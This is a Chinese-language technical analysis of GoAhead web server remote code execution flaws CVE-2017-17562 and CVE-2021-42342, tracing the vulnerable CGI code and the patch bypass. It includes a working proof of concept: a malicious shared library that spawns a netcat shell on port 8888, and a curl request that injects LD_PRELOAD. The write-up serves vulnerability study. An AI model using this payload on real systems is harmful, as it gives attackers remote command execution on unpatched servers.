cve-2017-17562
远程命令执行漏洞影响Goahead 2.5.0
到Goahead 3.6.5
之间的版本。在cgiHandler
函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD
即可劫持进程的动态链接库,实现远程代码执行。
漏洞成因位于cgiHandler
函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath
,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:
代码将用户请求的参数存入环境变量数组envp
中,但是不能为REMOTE_HOST
和HTTP_AUTHORIZATION
。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName
函数的返回值保存在stdIn
与stdOut
中,此函数将返回一个默认路径位于/tmp
文件名格式cgi-*.tmp
的绝对路径字符串。 随后代码将cgiPath
、envp
、stdIn
与stdOut
作为参数传入launchCgi
函数中。
PUBLIC char *websGetCgiCommName()
{
return websTempFile(NULL, "cgi");
}
PUBLIC char *websTempFile(char *dir, char *prefix)
{
static int count = 0;
char sep;
sep = '/';
if (!dir || *dir == '\0') {
#if WINCE
dir = "/Temp";
sep = '\\';
#elif ME_WIN_LIKE
dir = getenv("TEMP");
sep = '\\';
#elif VXWORKS
dir = ".";
#else
dir = "/tmp";
#endif
}
if (!prefix) {
prefix = "tmp";
}
return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}
进入launchCgi
函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp
文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve
函数在子进程中执行cgi程序。
至此漏洞相关代码分析完毕,代码在执行execve
函数时将cgiHandler
函数解析的envp
数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD
环境变量配合代码重定向后/proc/self/fd/0
指向POST数据实现动态链接库的劫持。
下载编译并通过gdb
运行存在漏洞的Goahead
程序(3.6.4)
git clone https://github.com/embedthis/goahead.git
cd goahead
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead
编写恶意动态链接库,代码以及编译命令如下所示:
#include <stdio.h>
#include <stdlib.h>
static void main(void) __attribute__((constructor));
static void main(void) {
system("nc -lp 8888 -e /bin/sh");
}
// gcc --shared -fPIC poc.c -o poc.so
构造HTTP
请求发送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
断点下在execve
函数处,此时内存情况如下图所示,envp
数组中存在我们注入的恶意环境变量LD_PRELOAD
并指向/proc/self/fd/0
文件。在代码分析中我们了解到,launchCgi
函数会在子进程中将标准输入输出重定向到cgi-*.tmp
的文件描述符,而根据以往的经验POST
数据会作为cgi
的标准输入,也就是说此时/proc/self/fd/0
所指向的正是我们的恶意文件poc.so
,当execve
函数执行时,即可劫持进程动态链接库实现RCE。
首先是在cgiHandler
函数中添加了更加完整的过滤检测,使得LD_
开头的字符串无法写入envp
数组。
其次是增加了一层if
判断,当s-arg
不为0
时进行字符串拼接。根据索引找到s-arg
的赋值语句位于addFormVars
函数中,此函数是Goahead
处理content-type
为application/x-www-form-urlencoded
的HTTP
请求时会调用。
cve-2021-42342
远程命令执行漏洞影响Goahead 4.X
和部分Goahead 5.X
版本。在分析cve-2017-17562
的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X
版本中增加了一句strim
函数对用户参数的处理,如下图所示:
进入这个函数,当第二个参数为0
时return 0
。因为开发人员对于strim
函数使用规范的错误使得针对cve-2017-17562
的黑名单完善形同虚设。
上文在对cve-2017-17562
补丁进行分析时曾经提到,s-arg
在addFormVars
函数中赋值为1
,为了实现环境变量注入则必须使s-arg
为0
,绕过的方式也很简单令header
中content-type
为multipart/form-data
即可。
后续利用方式与cve-2017-17562
相同,笔者就不做重复分析了。
为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead
处理Http
的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead
进行启动后会执行websServer
函数进行初始化操作。其中websOpen
函数对route.txt
文件进行解析,关于route
处理可以看一下layty师傅的文章。
websOpen
函数会根据配置启动相应的代码模块
其中关于cgi请求的回调函数通过websDefineHandler
函数定义。
websOpen
函数执行完毕后返回websServer
函数并调用websListen
启动HTTP
服务。代码如下所示,当接收到HTTP
请求时调用回调函数websAccept
函数进行处理。
在websAccept
函数中调用websAlloc
函数为请求分配内存地址,添加入webs
列表中。
其中websAlloc
函数调用initWebs
函数对Webs
结构体进行初始化。
此时Goahead
完成了对Http
请求的初始化操作,而针对Http
请求的处理工作则是通过执行websAccept
->socketEvent
->readEvent
完成响应的
调用websRead
函数将数据写入到wp->rxbuf
缓冲区中,随后执行websPump
函数。如下图所示,在Goahead
中将HTTP
的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
WEBS_BEGIN
阶段由parseIncoming
函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine
、parseHeaders
、websRouteRequest
函数。 parseFirstLine
函数负责将请求的类型
、url
、协议版本
和请求参数保存在wp
结构体中
parseHeaders
函数负责对请求头进行解析,其中对请求头中content-type
键处理流程如下图所示。为了满足漏洞的触发条件s->arg
为0
,所以我们需要绕过addFormVars
函数,即请求头content-type
为multipart/form-data
。
函数用于确定HTTP
请求的处理函数。通过url
路径与route->prefix
进行比较确定最终处理函数,并将结果保存在wp->route
中。其中routes
数组保存了route.txt
文件解析后,所有处理函数的相关数据。
调用websGetCgiCommName
函数创建文件名格式为cgi-*.tmp
的临时文件用于保存POST数据。
返回websPump
函数,随后调用processContent
函数。函数部分代码如下所示,其中filterChunkData
函数检测数据是否全部处理完毕,websProcessUploadData
函数为处理上传文件的函数。
进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。 initUpload
函数切换wp->uploadState
状态为initUpload
,初始化上传路径并确定上传请求边界符。 processContentBoundary
函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END
,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER
。 processUploadHeader
函数通过调用websTempFile
函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp
,将临时文件的文件描述符保存在wp->upfd
中。 processContentData
函数调用writeToFile
函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY
判断数据是否上传完毕。
当全部数据处理完毕后wp->eof
置1
,wp->state
状态更改为WEBS_READY
。 返回processContent
函数后继续执行,调用websProcessCgiData
函数将POST
数据保存在临时文件cgi-*.tmp
中
程序流程返回websPump
函数后,在WEBS_READY
阶段调用websRunRequest
函数,此函数主要负责切换wp->state
为WEBS_RUNNING
,并调用cgiHandler
函数。
在代码执行到漏洞位置时,s->arg
值为零完成绕过。后续的利用原理与cve-2017-17562
类似,这里就不过多赘述。